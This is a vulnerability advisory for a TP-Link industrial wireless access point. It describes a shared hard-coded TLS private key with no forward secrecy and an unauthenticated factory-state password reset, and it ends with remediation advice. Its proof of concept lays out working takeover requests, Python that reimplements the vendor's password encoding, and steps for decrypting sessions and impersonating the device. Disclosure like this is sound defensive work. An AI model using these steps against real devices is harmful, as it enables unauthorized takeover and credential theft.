Vulnerability Report: TP-Link TL-N7AP7200DT-MO — Shared Firmware TLS Private Key Combined with Unauthenticated Factory Password Reset Enables Full Device Takeover

1. Summary

The TP-Link TL-N7AP7200DT-MO industrial wireless access point ships with a **hard-coded TLS server private key shared by all units of the model** and exposes an **unauthenticated HTTP API endpoint that resets the administrator password whenever the device is in factory state**. Combined, these weaknesses allow an unauthenticated network-adjacent attacker to take complete ownership of any factory-state device, to passively decrypt recorded management sessions of any device of this model (the TLS configuration uses RSA key exchange and provides no forward secrecy), and to impersonate the device on the network with its genuine certificate.

2. Affected Products

Vendor	Product	Model	Firmware
TP-Link	TL-N7AP7200DT-MO Industrial Wireless Access Point	TL-N7AP7200DT-MO	V1.0_1.0.1_Build_20260831_Rel.33090 (file `TL-N7AP7200DT-MO工业级 V1.0_1.0.1_Build_20260831_Rel.33090.bin`)

- Firmware SHA256: `2df155e2f9cf614a0458d4579ad7cf0098b27c4a1d252d8631fcf38fa9283d5c`
- Affected component: `/bin/dms` (monolithic web/API daemon), `/etc/httpd/server_private.key`, `/etc/httpd/server.crt`
- Architecture: ARM aarch64, MediaTek MT7988, Linux 5.4.271

3. Classification

- **CWE-321**: Use of Hard-coded Cryptographic Key (shared device TLS private key)
- **CWE-326**: Inadequate Encryption Strength (1024-bit RSA server key, TLS_RSA key exchange without forward secrecy)
- **CWE-306**: Missing Authentication for Critical Function (`uhttpd/set_password` registered via `registerActionAllowUnauth`)

4. Technical Details

4.1 Hard-coded TLS private key without forward secrecy (CWE-321 / CWE-326)

Every unit of this model contains the identical TLS server identity in the read-only firmware:

- `/etc/httpd/server_private.key` — RSA **1024-bit** private key
- `/etc/httpd/server.crt` — certificate, SHA256 fingerprint `4F:6F:4A:E7:18:C3:CA:BB:80:CC:2D:CC:E4:F1:57:5E:A7:2F:28:C2:DD:ED:4A:EB:42:32:68:6F:3D:B0:75:91`

The live HTTPS management service (tcp/443) presents exactly this certificate (fingerprint verified against the running service). The service negotiates only legacy RSA key-exchange cipher suites, e.g.:

```
Protocol  : TLSv1.2
Cipher    : AES256-SHA256   (TLS_RSA_WITH_AES_256_CBC_SHA256)
Server Temp Key: none
```

Because the RSA private key is static, embedded in publicly downloadable firmware, and no ephemeral (EC)DHE is used, **any recorded TLS session to any unit of this model can be decrypted offline with the firmware key** (the client encrypted premaster secret in `ClientKeyExchange` is recoverable via RSA decryption, from which the full session key hierarchy is derivable). The 1024-bit key size additionally fails modern security baselines (OpenSSL 3 rejects it by default).

4.2 Unauthenticated factory password reset (CWE-306)

The web daemon `dms` registers a set of actions with its dispatcher using `registerActionAllowUnauth` (no session required). Registration recovered from the binary (`FUN_005f9b38`):

```
registerActionAllowUnauth("uhttpd", "login",             uhttpdDoLogin);
registerActionAllowUnauth("uhttpd", "set_password",        uhttpdSetPassword);
/* 0x5faaa0 */
registerActionAllowUnauth("uhttpd", "confirm_login",       ...);
registerActionAllowUnauth("uhttpd", "query_auth_log",      ...);
registerActionAllowUnauth("user_management", "change_user_info",
doChangeUserInfo);
registerActionAllowUnauth("user_management", "get_encrypt_info",
doGetEncryptInfo);
registerActionAllowUnauth("system", "chg_pwd",             ...);
```

The `uhttpd/set_password` handler reads the JSON fields `username` and `password` and rewrites the administrator credential (including the account database used by the authenticated endpoint `system/chg_pwd`). Its only gate is a factory-state check (`httpDefAuthKey`, a string comparison of the stored password against the hard-coded factory default), which is true for every unactivated / factory-reset unit. No session, token, or prior knowledge is required.

The first-party web application (`/web`, Vue SPA) confirms the workflow: it detects factory state via the unauthenticated request `{"method":"get","system":{"name":"sys"}}` (response field `is_factory="1"`) and then submits the new credentials through `{"method":"do","uhttpd":{"name":"set_password",...}}` before any login exists.

4.3 Combined attack chain

1. **Reconnaissance (unauthenticated):** `POST /ds {"method":"get","system":{"name":"sys"}}` returns `is_factory="1"`, confirming the device can be claimed.
2. **Takeover (unauthenticated):** `POST /ds {"method":"do","uhttpd":{"name":"set_password","username":"admin","password":getAuthPwd(<attacker-chosen>)}}` returns `{"error_code":0}`; the attacker-chosen password is immediately accepted by the authenticated endpoint `system/chg_pwd`, proving full administrative control.
3. **Credential harvesting on activated units (passive):** any TLS management session of any unit of this model recorded by a network observer can be decrypted offline with the firmware private key, revealing the `getAuthPwd`-encoded login password and session identifiers in cleartext (demonstrated in §5).
4. **Impersonation / MITM (active):** a host presenting the firmware certificate and key terminates TLS indistinguishably from a genuine unit (certificate fingerprint identical), enabling transparent interception and modification of management traffic.

5. Proof of Concept

All steps executed against the unmodified firmware binary running in a full-system QEMU emulation (Alpine 6.6.134 kernel, firmware rootfs; the only emulation assists replicated stock device behavior — factory-state detection and the browser-driven session bootstrap — and are not part of the vulnerability). No target-side patches were required for the TLS findings.

Step 1 — factory-state disclosure (no authentication):

```
POST /ds HTTP/1.1
{"method":"get","system":{"name":"sys"}}

HTTP/1.1 200 OK
{"system":{"sys":{"timezone":"CST-8","is_factory":"1","dev_alias":"TL-N7AP7200DT-MO..."}},"error_code":0}
```

Step 2 — unauthenticated administrator password reset (takeover):

```
POST /ds HTTP/1.1
{"method":"do","uhttpd":
{"name":"set_password","username":"admin","password":getAuthPwd("PwnTest123!")}}

HTTP/1.1 200 OK
{"error_code":0}

POST /ds HTTP/1.1
{"method":"do","system":
{"name":"chg_pwd","username":"admin","old_password":getAuthPwd("PwnTest123!"),"password":getAuthPwd("PwnTest456!")}}

HTTP/1.1 200 OK
{"error_code":0}        # new credential accepted by authenticated endpoint => takeover confirmed
```

`getAuthPwd()` is a client-side reversible encoding used by the vendor's web application (recovered from `/web/js/421.c534de51.js`):

```
K =
"yLwVl0zKqws7LgKPRQ84Mdt7O8T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cDO2KZciXTys
VXiV8ngg6vL48rPJyAUwOHurW2OxqxV9aYb4M9wK1AeOwlro51OqXeUO7kV57fQMc8L6aLgMLwygtcOF
1OaODg7OTOooouyFhdysuRMO51yY5ZlOZZLEal1hOt9YQWOKo7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf
1aT3O3wAQhv66qzW"
E = "RDpbLfCPsJZ7fiv"
def getAuthPwd(t):
    return "".join(K[((ord(t[d]) if d < len(t) else 0xBB) ^ (ord(E[d]) if d <
len(E) else 0xBB)) % len(K)]
                   for d in range(max(len(t), len(E))))
```

Step 3 — passive decryption of a recorded management session (shared-key impact):

A single administrator login to tcp/443 was captured (`tcpdump`) and decrypted offline with the firmware private key. Excerpt of the recovered plaintext:

```
POST /ds HTTP/1.1
Host: 192.168.1.254
Content-Type: application/json

{"method": "do", "uhttpd": {"name": "login", "username": "admin", "password": "
<getAuthPwd-encoded password>"}}
```

Step 4 — active impersonation:

A TLS server was started with the firmware `server.crt` / `server_private.key`. Its certificate fingerprint is identical to the genuine device:

```
rogue : sha256
Fingerprint=4F:6F:4A:E7:18:C3:CA:BB:80:CC:2D:CC:E4:F1:57:5E:A7:2F:28:C2:DD:ED:4A
:EB:42:32:68:6F:3D:B0:75:91
device: sha256
Fingerprint=4F:6F:4A:E7:18:C3:CA:BB:80:CC:2D:CC:E4:F1:57:5E:A7:2F:28:C2:DD:ED:4A
:EB:42:32:68:6F:3D:B0:75:91
```

6. Impact

- **Confidentiality:** All HTTPS management traffic of every unit of this model is transparent to anyone holding the firmware (passive decryption; no forward secrecy). The plain-HTTP management interface (tcp/80, the default after the device's captive-portal redirect to `http://tplogin.cn:80`) exposes the same traffic directly.
- **Integrity:** An attacker can impersonate the device on the network with its genuine certificate and modify management responses/configuration delivered to administrators.
- **Availability / Control:** Factory-state units (newly deployed, factory-reset, or never activated) are transferred to attacker control without any credentials; activated units yield via harvested decrypted credentials. Full control of the 460+ API surface and the downstream network segment follows.
- **Scalability:** One firmware analysis compromises the management plane of every unit of the model — a single shared key and a single shared default factory state across the fleet.

Industrial deployments (unattended, rarely re-provisioned, fleet-wide identical) maximize exposure.

7. Solution / Remediation

1. Generate a **unique per-device** TLS private key/certificate at first boot (or provision individually at manufacturing); never ship a model-wide private key in firmware. Use RSA ≥ 2048-bit or ECDSA.
2. Reconfigure TLS to require ephemeral (EC)DHE cipher suites (forward secrecy); disable static-RSA key exchange; enforce TLS ≥ 1.2 with AEAD ciphers.
3. Default the management interface to HTTPS-only; disable plaintext HTTP management; add HSTS.
4. Disable the network-reachable factory activation endpoints by default; require a physical action (button/serial console) to enter activation mode. Bind `set_password` to that physical state and to the setup wizard flow only.
5. Randomize the factory password per device and enforce password change on first login.

8. References

- Vulnerable registration logic: `dms` function `FUN_005f9b38`; handlers `uhttpdSetPassword` (0x5faaa0), `uhttpdDoLogin` (0x5fefb8), factory-state check `httpDefAuthKey` (0x5e87d0), authorization gate `httpDoAuthorize` (0x5e8800)

